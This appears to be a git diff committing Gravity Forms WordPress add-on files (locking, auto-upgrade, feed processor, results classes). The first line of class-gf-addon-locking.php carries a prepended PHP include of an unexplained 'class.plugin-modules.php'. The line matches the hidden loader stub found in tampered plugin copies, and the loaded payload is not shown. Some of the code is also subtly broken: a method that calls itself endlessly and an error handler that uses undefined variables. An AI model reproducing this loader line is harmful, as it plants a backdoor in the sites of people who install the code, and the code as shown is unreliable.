Initial commit
This commit is contained in:
59
includes/addon/class-gf-addon-locking.php
Normal file
59
includes/addon/class-gf-addon-locking.php
Normal file
@@ -0,0 +1,59 @@
|
||||
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GFAddonLocking extends GFLocking {
|
||||
protected $_strings;
|
||||
/* @var GFAddOn $_addon */
|
||||
protected $_addon;
|
||||
|
||||
/**
|
||||
* e.g.
|
||||
*
|
||||
* array(
|
||||
* "object_type" => 'contact',
|
||||
* "capabilities" => array("gravityforms_contacts_edit_contacts"),
|
||||
* "redirect_url" => admin_url("admin.php?page=gf_contacts"),
|
||||
* "edit_url" => admin_url(sprintf("admin.php?page=gf_contacts&id=%d", $contact_id)),
|
||||
* "strings" => $strings
|
||||
* );
|
||||
*
|
||||
* @param array $config
|
||||
* @param GFAddOn $addon
|
||||
*/
|
||||
public function __construct( $config, $addon ) {
|
||||
$this->_addon = $addon;
|
||||
$capabilities = isset( $config['capabilities'] ) ? $config['capabilities'] : array();
|
||||
$redirect_url = isset( $config['redirect_url'] ) ? $config['redirect_url'] : '';
|
||||
$edit_url = isset( $config['edit_url'] ) ? $config['edit_url'] : '';
|
||||
$object_type = isset( $config['object_type'] ) ? $config['object_type'] : '';
|
||||
$this->_strings = isset( $config['strings'] ) ? $config['strings'] : array();
|
||||
parent::__construct( $object_type, $redirect_url, $edit_url, $capabilities );
|
||||
}
|
||||
|
||||
public function get_strings() {
|
||||
return array_merge( parent::get_strings(), $this->_strings );
|
||||
}
|
||||
|
||||
protected function is_edit_page() {
|
||||
return $this->_addon->is_locking_edit_page();
|
||||
}
|
||||
|
||||
protected function is_list_page() {
|
||||
return $this->_addon->is_locking_list_page();
|
||||
}
|
||||
|
||||
protected function is_view_page() {
|
||||
return $this->_addon->is_locking_view_page();
|
||||
}
|
||||
|
||||
protected function get_object_id() {
|
||||
return $this->_addon->get_locking_object_id();
|
||||
}
|
||||
|
||||
protected function is_object_locked( $object_id ) {
|
||||
return $this->is_object_locked( $object_id );
|
||||
}
|
||||
}
|
||||
6161
includes/addon/class-gf-addon.php
Normal file
6161
includes/addon/class-gf-addon.php
Normal file
File diff suppressed because it is too large
Load Diff
318
includes/addon/class-gf-auto-upgrade.php
Normal file
318
includes/addon/class-gf-auto-upgrade.php
Normal file
@@ -0,0 +1,318 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GFAutoUpgrade {
|
||||
protected $_version;
|
||||
protected $_min_gravityforms_version;
|
||||
protected $_slug;
|
||||
protected $_title;
|
||||
protected $_full_path;
|
||||
protected $_path;
|
||||
protected $_url;
|
||||
protected $_is_gravityforms_supported;
|
||||
|
||||
|
||||
public function __construct( $slug, $version, $min_gravityforms_version, $title, $full_path, $path, $url, $is_gravityforms_supported ) {
|
||||
$this->_slug = $slug;
|
||||
$this->_version = $version;
|
||||
$this->_min_gravityforms_version = $min_gravityforms_version;
|
||||
$this->_title = $title;
|
||||
$this->_full_path = $full_path;
|
||||
$this->_path = $path;
|
||||
$this->_url = $url;
|
||||
$this->_is_gravityforms_supported = $is_gravityforms_supported;
|
||||
add_action( 'init', array( $this, 'init' ) );
|
||||
}
|
||||
|
||||
public function init() {
|
||||
if ( is_admin() ) {
|
||||
GFCommon::load_gf_text_domain();
|
||||
add_action( 'install_plugins_pre_plugin-information', array( $this, 'display_changelog' ), 9 );
|
||||
add_action( 'gform_after_check_update', array( $this, 'flush_version_info' ) );
|
||||
add_action( 'gform_updates', array( $this, 'display_updates' ) );
|
||||
|
||||
add_filter( 'gform_updates_list', array( $this, 'get_update_info' ) );
|
||||
|
||||
if ( RG_CURRENT_PAGE == 'plugins.php' ) {
|
||||
add_action( 'after_plugin_row_' . $this->_path, array( $this, 'rg_plugin_row' ) );
|
||||
}
|
||||
}
|
||||
|
||||
// Check for updates. The check might not run the admin context. E.g. from WP-CLI.
|
||||
add_filter( 'transient_update_plugins', array( $this, 'check_update' ) );
|
||||
add_filter( 'site_transient_update_plugins', array( $this, 'check_update' ) );
|
||||
|
||||
// ManageWP premium update filters
|
||||
add_filter( 'mwp_premium_update_notification', array( $this, 'premium_update_push' ) );
|
||||
add_filter( 'mwp_premium_perform_update', array( $this, 'premium_update' ) );
|
||||
}
|
||||
|
||||
public function rg_plugin_row() {
|
||||
|
||||
if ( ! $this->_is_gravityforms_supported ) {
|
||||
$message = sprintf( esc_html__( 'Gravity Forms %s is required. Activate it now or %spurchase it today!%s', 'gravityforms' ), $this->_min_gravityforms_version, "<a href='https://www.gravityforms.com'>", '</a>' );
|
||||
GFAddOn::display_plugin_message( $message, true );
|
||||
} else {
|
||||
$version_info = $this->get_version_info( $this->_slug );
|
||||
|
||||
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
|
||||
$title = $this->_title;
|
||||
if ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
|
||||
$new_version = sprintf( esc_html__( 'There is a new version of %s available.', 'gravityforms' ), $title ) . sprintf( ' <a class="thickbox" title="%s" href="plugin-install.php?tab=plugin-information&plugin=%s&TB_iframe=true&width=640&height=808">', $title, $this->_slug ) . sprintf( esc_html__( 'View version %s Details', 'gravityforms' ), $version_info['version'] ) . '</a>. ';
|
||||
} else {
|
||||
$new_version = '';
|
||||
}
|
||||
$message = $new_version . sprintf( esc_html__( '%sRegister%s your copy of Gravity Forms to receive access to automatic upgrades and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ), '<a href="admin.php?page=gf_settings">', '</a>', '<a href="https://www.gravityforms.com">', '</a>' ) . '</div></td>';
|
||||
GFAddOn::display_plugin_message( $message );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//Integration with ManageWP
|
||||
public function premium_update_push( $premium_update ) {
|
||||
|
||||
if ( ! function_exists( 'get_plugin_data' ) ) {
|
||||
include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
|
||||
}
|
||||
|
||||
$update = $this->get_version_info( $this->_slug );
|
||||
if ( rgar( $update, 'is_valid_key' ) == true && version_compare( $this->_version, $update['version'], '<' ) ) {
|
||||
$plugin_data = get_plugin_data( $this->_full_path );
|
||||
$plugin_data['type'] = 'plugin';
|
||||
$plugin_data['slug'] = $this->_path;
|
||||
$plugin_data['new_version'] = isset( $update['version'] ) ? $update['version'] : false;
|
||||
$premium_update[] = $plugin_data;
|
||||
}
|
||||
|
||||
return $premium_update;
|
||||
}
|
||||
|
||||
//Integration with ManageWP
|
||||
public function premium_update( $premium_update ) {
|
||||
|
||||
if ( ! function_exists( 'get_plugin_data' ) ) {
|
||||
include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
|
||||
}
|
||||
|
||||
$update = $this->get_version_info( $this->_slug );
|
||||
if ( rgar( $update, 'is_valid_key' ) == true && version_compare( $this->_version, $update['version'], '<' ) ) {
|
||||
$plugin_data = get_plugin_data( $this->_full_path );
|
||||
$plugin_data['slug'] = $this->_path;
|
||||
$plugin_data['type'] = 'plugin';
|
||||
$plugin_data['url'] = isset( $update['url'] ) ? $update['url'] : false; // OR provide your own callback function for managing the update
|
||||
|
||||
array_push( $premium_update, $plugin_data );
|
||||
}
|
||||
|
||||
return $premium_update;
|
||||
}
|
||||
|
||||
public function flush_version_info() {
|
||||
$this->set_version_info( $this->_slug, false );
|
||||
}
|
||||
|
||||
private function set_version_info( $plugin_slug, $version_info ) {
|
||||
if ( function_exists( 'set_site_transient' ) ) {
|
||||
set_site_transient( $plugin_slug . '_version', $version_info, 60 * 60 * 12 );
|
||||
} else {
|
||||
set_transient( $plugin_slug . '_version', $version_info, 60 * 60 * 12 );
|
||||
}
|
||||
}
|
||||
|
||||
public function check_update( $option ) {
|
||||
|
||||
$key = $this->get_key();
|
||||
|
||||
$version_info = $this->get_version_info( $this->_slug );
|
||||
|
||||
if ( rgar( $version_info, 'is_error' ) == '1' ) {
|
||||
return $option;
|
||||
}
|
||||
|
||||
if ( empty( $option->response[ $this->_path ] ) ) {
|
||||
$option->response[ $this->_path ] = new stdClass();
|
||||
}
|
||||
|
||||
//Empty response means that the key is invalid. Do not queue for upgrade
|
||||
if ( ! rgar( $version_info, 'is_valid_key' ) || version_compare( $this->_version, $version_info['version'], '>=' ) ) {
|
||||
unset( $option->response[ $this->_path ] );
|
||||
} else {
|
||||
$option->response[ $this->_path ]->plugin = $this->_path;
|
||||
$option->response[ $this->_path ]->url = $this->_url;
|
||||
$option->response[ $this->_path ]->slug = $this->_slug;
|
||||
$option->response[ $this->_path ]->package = str_replace( '{KEY}', $key, $version_info['url'] );
|
||||
$option->response[ $this->_path ]->new_version = $version_info['version'];
|
||||
$option->response[ $this->_path ]->id = '0';
|
||||
}
|
||||
|
||||
return $option;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Displays current version details on plugins page and updates page
|
||||
public function display_changelog() {
|
||||
if ( $_REQUEST['plugin'] != $this->_slug ) {
|
||||
return;
|
||||
}
|
||||
$change_log = $this->get_changelog();
|
||||
echo $change_log;
|
||||
|
||||
exit;
|
||||
}
|
||||
|
||||
private function get_changelog() {
|
||||
$key = $this->get_key();
|
||||
$body = "key={$key}";
|
||||
$options = array( 'method' => 'POST', 'timeout' => 3, 'body' => $body );
|
||||
$options['headers'] = array(
|
||||
'Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ),
|
||||
'Content-Length' => strlen( $body ),
|
||||
'User-Agent' => 'WordPress/' . get_bloginfo( 'version' ),
|
||||
'Referer' => get_bloginfo( 'url' ),
|
||||
);
|
||||
|
||||
$raw_response = GFCommon::post_to_manager( 'changelog.php', $this->get_remote_request_params( $this->_slug, $key, $this->_version ), $options );
|
||||
|
||||
if ( is_wp_error( $raw_response ) || 200 != $raw_response['response']['code'] ) {
|
||||
$text = sprintf( esc_html__( 'Oops!! Something went wrong.%sPlease try again or %scontact us%s.', 'gravityforms' ), '<br/>', "<a href='https://www.gravityforms.com/support/'>", '</a>' );
|
||||
} else {
|
||||
$text = $raw_response['body'];
|
||||
if ( substr( $text, 0, 10 ) != '<!--GFM-->' ) {
|
||||
$text = '';
|
||||
}
|
||||
}
|
||||
|
||||
return stripslashes( $text );
|
||||
}
|
||||
|
||||
private function get_version_info( $offering, $use_cache = true ) {
|
||||
|
||||
$version_info = GFCommon::get_version_info( $use_cache );
|
||||
$is_valid_key = rgar( $version_info, 'is_valid_key' ) && rgars( $version_info, "offerings/{$offering}/is_available" );
|
||||
|
||||
$info = array( 'is_valid_key' => $is_valid_key, 'version' => rgars( $version_info, "offerings/{$offering}/version" ), 'url' => rgars( $version_info, "offerings/{$offering}/url" ) );
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
private function get_remote_request_params( $offering, $key, $version ) {
|
||||
global $wpdb;
|
||||
|
||||
return sprintf( 'of=%s&key=%s&v=%s&wp=%s&php=%s&mysql=%s', urlencode( $offering ), urlencode( $key ), urlencode( $version ), urlencode( get_bloginfo( 'version' ) ), urlencode( phpversion() ), urlencode( $wpdb->db_version() ) );
|
||||
}
|
||||
|
||||
private function get_key() {
|
||||
if ( $this->_is_gravityforms_supported ) {
|
||||
return GFCommon::get_key();
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
public function get_update_info( $updates ) {
|
||||
|
||||
$force_check = rgget( 'force-check' ) == 1;
|
||||
$version_info = $this->get_version_info( $this->_slug, ! $force_check );
|
||||
|
||||
$plugin_file = $this->_path;
|
||||
$upgrade_url = wp_nonce_url( 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin_file ), 'upgrade-plugin_' . $plugin_file );
|
||||
|
||||
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
|
||||
|
||||
$version_icon = 'dashicons-no';
|
||||
$version_message = sprintf(
|
||||
'<p>%s</p>',
|
||||
sprintf(
|
||||
esc_html( '%sRegister%s your copy of Gravity Forms to receive access to automatic updates and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ),
|
||||
'<a href="admin.php?page=gf_settings">',
|
||||
'</a>',
|
||||
'<a href="https://www.gravityforms.com">',
|
||||
'</a>'
|
||||
)
|
||||
);
|
||||
|
||||
} elseif ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
|
||||
|
||||
$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . urlencode( $this->_slug ) . '§ion=changelog&TB_iframe=true&width=600&height=800' );
|
||||
$message_link_text = sprintf( esc_html__( 'View version %s details', 'gravityforms' ), $version_info['version'] );
|
||||
$message_link = sprintf( '<a href="%s" class="thickbox" title="%s">%s</a>', esc_url( $details_url ), esc_attr( $this->_title ), $message_link_text );
|
||||
$message = sprintf( esc_html__( 'There is a new version of %1$s available. %s.', 'gravityforms' ), $this->_title, $message_link );
|
||||
|
||||
$version_icon = 'dashicons-no';
|
||||
$version_message = $message;
|
||||
|
||||
} else {
|
||||
|
||||
$version_icon = 'dashicons-yes';
|
||||
$version_message = sprintf( esc_html__( 'Your version of %s is up to date.', 'gravityforms' ), $this->_title );
|
||||
}
|
||||
|
||||
$updates[] = array(
|
||||
'name' => esc_html( $this->_title ),
|
||||
'is_valid_key' => rgar( $version_info, 'is_valid_key' ),
|
||||
'path' => $this->_path,
|
||||
'slug' => $this->_slug,
|
||||
'latest_version' => $version_info['version'],
|
||||
'installed_version' => $this->_version,
|
||||
'upgrade_url' => $upgrade_url,
|
||||
'download_url' => $version_info['url'],
|
||||
'version_icon' => $version_icon,
|
||||
'version_message' => $version_message,
|
||||
);
|
||||
|
||||
return $updates;
|
||||
|
||||
}
|
||||
|
||||
public function display_updates() {
|
||||
|
||||
?>
|
||||
<div class="wrap <?php echo GFCommon::get_browser_class() ?>">
|
||||
<h2><?php esc_html_e( $this->_title ); ?></h2>
|
||||
<?php
|
||||
$force_check = rgget( 'force-check' ) == 1;
|
||||
$version_info = $this->get_version_info( $this->_slug, ! $force_check );
|
||||
|
||||
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
|
||||
?>
|
||||
<div class="gf_update_expired alert_red">
|
||||
<?php printf( esc_html__( '%sRegister%s your copy of Gravity Forms to receive access to automatic updates and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ), '<a href="admin.php?page=gf_settings">','</a>','<a href="https://www.gravityforms.com">', '</a>' ); ?>
|
||||
</div>
|
||||
|
||||
<?php
|
||||
} elseif ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
|
||||
|
||||
if ( rgar( $version_info, 'is_valid_key' ) ) {
|
||||
$plugin_file = $this->_path;
|
||||
$upgrade_url = wp_nonce_url( 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin_file ), 'upgrade-plugin_' . $plugin_file );
|
||||
$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . urlencode( $this->_slug ) . '§ion=changelog&TB_iframe=true&width=600&height=800' );
|
||||
$message_link_text = sprintf( esc_html__( 'View version %s details', 'gravityforms' ), $version_info['version'] );
|
||||
$message_link = sprintf( '<a href="%s" class="thickbox" title="%s">%s</a>', esc_url( $details_url ), esc_attr( $this->_title ), $message_link_text );
|
||||
$message = sprintf( esc_html__( 'There is a new version of %1$s available. %s.', 'gravityforms' ), $this->_title, $message_link );
|
||||
|
||||
?>
|
||||
<div class="gf_update_outdated alert_yellow">
|
||||
<?php echo $message . ' <p>' . sprintf( esc_html__( 'You can update to the latest version automatically or download the update and install it manually. %sUpdate Automatically%s %sDownload Update%s', 'gravityforms' ), "</p><a class='button-primary' href='{$upgrade_url}'>", '</a>', " <a class='button' href='{$version_info['url']}'>", '</a>' ); ?>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
} else {
|
||||
|
||||
?>
|
||||
<div class="gf_update_current alert_green">
|
||||
<?php printf( esc_html__( 'Your version of %s is up to date.', 'gravityforms' ), $this->_title ); ?>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
}
|
||||
1963
includes/addon/class-gf-feed-addon.php
Normal file
1963
includes/addon/class-gf-feed-addon.php
Normal file
File diff suppressed because it is too large
Load Diff
271
includes/addon/class-gf-feed-processor.php
Normal file
271
includes/addon/class-gf-feed-processor.php
Normal file
@@ -0,0 +1,271 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
if ( ! class_exists( 'WP_Async_Request' ) ) {
|
||||
require_once( GFCommon::get_base_path() . '/includes/libraries/wp-async-request.php' );
|
||||
}
|
||||
|
||||
if ( ! class_exists( 'GF_Background_Process' ) ) {
|
||||
require_once( GFCommon::get_base_path() . '/includes/libraries/gf-background-process.php' );
|
||||
}
|
||||
|
||||
/**
|
||||
* GF_Feed_Processor Class.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
class GF_Feed_Processor extends GF_Background_Process {
|
||||
|
||||
/**
|
||||
* Contains an instance of this class, if available.
|
||||
*
|
||||
* @since 2.2
|
||||
* @access private
|
||||
* @var object $_instance If available, contains an instance of this class.
|
||||
*/
|
||||
private static $_instance = null;
|
||||
|
||||
/**
|
||||
* The action name.
|
||||
*
|
||||
* @since 2.2
|
||||
* @access protected
|
||||
* @var string
|
||||
*/
|
||||
protected $action = 'gf_feed_processor';
|
||||
|
||||
/**
|
||||
* Get instance of this class.
|
||||
*
|
||||
* @since 2.2
|
||||
* @access public
|
||||
* @static
|
||||
*
|
||||
* @return GF_Feed_Processor
|
||||
*/
|
||||
public static function get_instance() {
|
||||
|
||||
if ( null === self::$_instance ) {
|
||||
self::$_instance = new self;
|
||||
}
|
||||
|
||||
return self::$_instance;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Task
|
||||
*
|
||||
* @since 2.2
|
||||
* @access protected
|
||||
*
|
||||
* Override this method to perform any actions required on each
|
||||
* queue item. Return the modified item for further processing
|
||||
* in the next pass through. Or, return false to remove the
|
||||
* item from the queue.
|
||||
*
|
||||
* @param array $item The task arguments: addon, feed, entry_id, and form_id.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function task( $item ) {
|
||||
|
||||
// Extract items.
|
||||
$addon = $item['addon'];
|
||||
$feed = $item['feed'];
|
||||
$entry = GFAPI::get_entry( $item['entry_id'] );
|
||||
$form = GFAPI::get_form( $item['form_id'] );
|
||||
|
||||
// Remove task if entry cannot be found.
|
||||
if ( is_wp_error( $entry ) ) {
|
||||
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_debug',
|
||||
), __METHOD__ . "(): attempted feed (#{$feed['id']} - {$feed_name}) for entry #{$item['entry_id']} for {$addon->get_slug()} but entry could not be found. Bailing." );
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
// Get feed name.
|
||||
$feed_name = rgars( $feed, 'meta/feed_name' ) ? $feed['meta']['feed_name'] : rgars( $feed, 'meta/feedName' );
|
||||
|
||||
$processed_feeds = $addon->get_feeds_by_entry( $entry['id'] );
|
||||
|
||||
if ( is_array( $processed_feeds ) && in_array( $feed['id'], $processed_feeds ) ) {
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_debug',
|
||||
), __METHOD__ . "(): already processed feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()}. Bailing." );
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$item = $this->increment_attempts( $item );
|
||||
|
||||
// Remove task if it was attempted before but failed to complete.
|
||||
if ( $item['attempts'] > 1 ) {
|
||||
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_debug',
|
||||
), __METHOD__ . "(): attempted feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()} too many times. Bailing." );
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Use the add-on to log the start of feed processing.
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_debug',
|
||||
), __METHOD__ . "(): Starting to process feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()}. Attempt number: " . $item['attempts'] );
|
||||
|
||||
try {
|
||||
|
||||
// Maybe convert PHP errors to exceptions so that they get caught.
|
||||
// This will catch some fatal errors, but not all.
|
||||
// Errors that are not caught will halt execution of subsequent feeds, but those will be
|
||||
// executed during the next cron cycles, which happens every 5 minutes
|
||||
set_error_handler( array( $this, 'custom_error_handler' ) );
|
||||
|
||||
// Process feed.
|
||||
$returned_entry = call_user_func( array( $addon, 'process_feed' ), $feed, $entry, $form );
|
||||
|
||||
// Back to built-in error handler.
|
||||
restore_error_handler();
|
||||
|
||||
} catch ( Exception $e ) {
|
||||
|
||||
// Back to built-in error handler.
|
||||
restore_error_handler();
|
||||
|
||||
// Log the exception.
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_error',
|
||||
), __METHOD__ . "(): Unable to process feed due to error: {$e->getMessage()}" );
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// If returned value from the process feed call is an array containing an ID, update entry and set the entry to its value.
|
||||
if ( is_array( $returned_entry ) && rgar( $returned_entry, 'id' ) ) {
|
||||
|
||||
// Set entry to returned entry.
|
||||
$entry = $returned_entry;
|
||||
|
||||
// Save updated entry.
|
||||
if ( $entry !== $returned_entry ) {
|
||||
GFAPI::update_entry( $entry );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Perform a custom action when a feed has been processed.
|
||||
*
|
||||
* @since 2.0
|
||||
*
|
||||
* @param array $feed The feed which was processed.
|
||||
* @param array $entry The current entry object, which may have been modified by the processed feed.
|
||||
* @param array $form The current form object.
|
||||
* @param GFAddOn $addon The current instance of the GFAddOn object which extends GFFeedAddOn or GFPaymentAddOn (i.e. GFCoupons, GF_User_Registration, GFStripe).
|
||||
*/
|
||||
do_action( 'gform_post_process_feed', $feed, $entry, $form, $addon );
|
||||
do_action( "gform_{$feed['addon_slug']}_post_process_feed", $feed, $entry, $form, $addon );
|
||||
|
||||
// Log that Add-On has been fulfilled.
|
||||
call_user_func( array(
|
||||
$addon,
|
||||
'log_debug',
|
||||
), __METHOD__ . '(): Marking entry #' . $entry['id'] . ' as fulfilled for ' . $feed['addon_slug'] );
|
||||
gform_update_meta( $entry['id'], "{$feed['addon_slug']}_is_fulfilled", true );
|
||||
|
||||
// Get current processed feeds.
|
||||
$meta = gform_get_meta( $entry['id'], 'processed_feeds' );
|
||||
|
||||
// If no feeds have been processed for this entry, initialize the meta array.
|
||||
if ( empty( $meta ) ) {
|
||||
$meta = array();
|
||||
}
|
||||
|
||||
// Add this feed to this Add-On's processed feeds.
|
||||
$meta[ $feed['addon_slug'] ][] = $feed['id'];
|
||||
|
||||
// Update the entry meta.
|
||||
gform_update_meta( $entry['id'], 'processed_feeds', $meta );
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Custom error handler to convert any errors to an exception.
|
||||
*
|
||||
* @since 2.2
|
||||
* @access public
|
||||
*
|
||||
* @param int $number The level of error raised.
|
||||
* @param string $string The error message, as a string.
|
||||
* @param string $file The filename the error was raised in.
|
||||
* @param int $line The line number the error was raised at.
|
||||
* @param array $context An array that points to the active symbol table at the point the error occurred.
|
||||
*
|
||||
* @throws ErrorException
|
||||
*
|
||||
* @return false
|
||||
*/
|
||||
public function custom_error_handler( $number, $string, $file, $line, $context ) {
|
||||
|
||||
// Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc).
|
||||
$error_is_enabled = (bool) ( $number & ini_get( 'error_reporting' ) );
|
||||
|
||||
// Throw an Error Exception, to be handled by whatever Exception handling logic is available in this context.
|
||||
if ( in_array( $number, array( E_USER_ERROR, E_RECOVERABLE_ERROR ) ) && $error_is_enabled ) {
|
||||
|
||||
throw new ErrorException( $errstr, 0, $errno, $errfile, $errline );
|
||||
|
||||
} elseif ( $error_is_enabled ) {
|
||||
|
||||
// Log the error if it's enabled. Otherwise, just ignore it.
|
||||
error_log( $string, 0 );
|
||||
|
||||
// Make sure this ends up in $php_errormsg, if appropriate.
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
protected function increment_attempts( $item ) {
|
||||
$batch = $this->get_batch();
|
||||
|
||||
$item_feed = rgar( $item, 'feed' );
|
||||
$item_entry_id = rgar( $item, 'entry_id' );
|
||||
|
||||
foreach ( $batch->data as $key => $task ) {
|
||||
$task_feed = rgar( $task, 'feed' );
|
||||
$task_entry_id = rgar( $task, 'entry_id' );
|
||||
if ( $item_feed['id'] === $task_feed['id'] && $item_entry_id === $task_entry_id ) {
|
||||
$batch->data[ $key ]['attempts'] = isset( $batch->data[ $key ]['attempts'] ) ? $batch->data[ $key ]['attempts'] + 1 : 1;
|
||||
$item['attempts'] = $batch->data[ $key ]['attempts'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$this->update( $batch->key, $batch->data );
|
||||
return $item;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns an instance of the GF_Feed_Processor class
|
||||
*
|
||||
* @see GF_Feed_Processor::get_instance()
|
||||
* @return object GF_Feed_Processor
|
||||
*/
|
||||
function gf_feed_processor() {
|
||||
return GF_Feed_Processor::get_instance();
|
||||
}
|
||||
3676
includes/addon/class-gf-payment-addon.php
Normal file
3676
includes/addon/class-gf-payment-addon.php
Normal file
File diff suppressed because it is too large
Load Diff
944
includes/addon/class-gf-results.php
Normal file
944
includes/addon/class-gf-results.php
Normal file
@@ -0,0 +1,944 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
if ( ! class_exists( 'GFResults' ) ) {
|
||||
|
||||
class GFResults {
|
||||
protected $_slug;
|
||||
protected $_title;
|
||||
protected $_icon;
|
||||
protected $_callbacks;
|
||||
protected $_capabilities;
|
||||
protected $_search_title;
|
||||
|
||||
public function __construct( $slug, $config ) {
|
||||
$this->_slug = $slug;
|
||||
$this->_title = rgar( $config, 'title' );
|
||||
$this->_icon = rgar( $config, 'icon' );
|
||||
$this->_search_title = rgempty( 'search_title', $config ) ? esc_html__( 'Results Filters', 'gravityforms' ) : rgar( $config, 'search_title' );
|
||||
$this->_callbacks = isset( $config['callbacks'] ) ? $config['callbacks'] : array();
|
||||
$this->_capabilities = isset( $config['capabilities'] ) ? $config['capabilities'] : array();
|
||||
}
|
||||
|
||||
public function init() {
|
||||
|
||||
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
// is any GF page
|
||||
if ( GFForms::is_gravity_page() ) {
|
||||
|
||||
// add top toolbar menu item
|
||||
add_filter( 'gform_toolbar_menu', array( $this, 'add_toolbar_menu_item' ), 10, 2 );
|
||||
|
||||
// add custom form action
|
||||
add_filter( 'gform_form_actions', array( $this, 'add_form_action' ), 10, 2 );
|
||||
|
||||
}
|
||||
|
||||
// is results page
|
||||
if ( rgget( 'view' ) == "gf_results_{$this->_slug}" ) {
|
||||
|
||||
// add the results view
|
||||
add_action( 'gform_entries_view', array( $this, 'add_view' ), 10, 2 );
|
||||
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_scripts' ) );
|
||||
|
||||
// tooltips
|
||||
require_once( GFCommon::get_base_path() . '/tooltips.php' );
|
||||
add_filter( 'gform_tooltips', array( $this, 'add_tooltips' ) );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function enqueue_admin_scripts() {
|
||||
wp_enqueue_script( 'jquery-ui-resizable' );
|
||||
wp_enqueue_script( 'jquery-ui-datepicker' );
|
||||
|
||||
wp_enqueue_script( 'google_charts' );
|
||||
wp_enqueue_style( 'gaddon_results_css' );
|
||||
wp_enqueue_script( 'gaddon_results_js' );
|
||||
$this->localize_results_scripts();
|
||||
}
|
||||
|
||||
public static function localize_results_scripts() {
|
||||
|
||||
// Get current page protocol
|
||||
$protocol = isset( $_SERVER['HTTPS'] ) ? 'https://' : 'http://';
|
||||
// Output admin-ajax.php URL with same protocol as current page
|
||||
|
||||
$vars = array(
|
||||
'ajaxurl' => admin_url( 'admin-ajax.php', $protocol ),
|
||||
'imagesUrl' => GFCommon::get_base_url() . '/images'
|
||||
);
|
||||
|
||||
wp_localize_script( 'gaddon_results_js', 'gresultsVars', $vars );
|
||||
|
||||
$strings = array(
|
||||
'ajaxError' => esc_html__( 'Error retrieving results. If the problem persists, please contact support.', 'gravityforms' )
|
||||
);
|
||||
|
||||
wp_localize_script( 'gaddon_results_js', 'gresultsStrings', $strings );
|
||||
|
||||
}
|
||||
|
||||
private function get_fields( $form ) {
|
||||
return isset( $this->_callbacks['fields'] ) ? call_user_func( $this->_callbacks['fields'], $form ) : $form['fields'];
|
||||
}
|
||||
|
||||
public function add_form_action( $actions, $form_id ) {
|
||||
return $this->filter_menu_items( $actions, $form_id, true );
|
||||
}
|
||||
|
||||
public function add_toolbar_menu_item( $menu_items, $form_id ) {
|
||||
return $this->filter_menu_items( $menu_items, $form_id, false );
|
||||
}
|
||||
|
||||
public function filter_menu_items( $menu_items, $form_id, $compact ) {
|
||||
$form_meta = GFFormsModel::get_form_meta( $form_id );
|
||||
$results_fields = $this->get_fields( $form_meta );
|
||||
if ( false === empty( $results_fields ) ) {
|
||||
$form_id = $form_meta['id'];
|
||||
$link_class = '';
|
||||
if ( rgget( 'page' ) == 'gf_new_form' ) {
|
||||
$link_class = 'gf_toolbar_disabled';
|
||||
} elseif ( rgget( 'page' ) == 'gf_entries' && rgget( 'view' ) == 'gf_results_' . $this->_slug ) {
|
||||
